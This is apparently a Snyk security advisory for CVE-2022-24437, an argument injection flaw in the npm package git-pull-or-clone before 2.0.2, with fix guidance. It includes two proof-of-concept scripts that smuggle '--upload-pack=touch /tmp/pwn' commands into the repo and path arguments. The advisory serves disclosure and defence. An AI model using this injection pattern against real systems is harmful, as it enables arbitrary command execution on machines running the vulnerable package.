Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') Affecting git-pull-or-clone package, versions <2.0.2
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-GITPULLORCLONE-2434307
- published 8 Apr 2022
- disclosed 28 Mar 2022
- credit Liran Tal of Snyk
Introduced: 28 Mar 2022
CVE-2022-24437 Open this link in a new tabHow to fix?
Upgrade git-pull-or-clone
to version 2.0.2 or higher.
Overview
git-pull-or-clone is an Ensure a git repo exists on disk and that it's up-to-date
Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to the use of the --upload-pack
feature of git which is also supported for git clone. The source includes the use of the secure child process API spawn(). However, the outpath
parameter passed to it may be a command-line argument to the git clone
command and result in arbitrary command injection.
PoC 1
const gitPullOrClone = require('git-pull-or-clone')
const repo = 'file:///tmp/zero12345'
const path = '--upload-pack=touch /tmp/pwn3'
gitPullOrClone(repo, path, (err) => {
if (err) throw err
console.log('SUCCESS!')
})
PoC 2
const gitPullOrClone = require('git-pull-or-clone')
const repo = '--upload-pack=touch /tmp/pwn4'
const path = 'file:///tmp/zero12345'
gitPullOrClone(repo, path, (err) => {
if (err) throw err
console.log('SUCCESS!')
})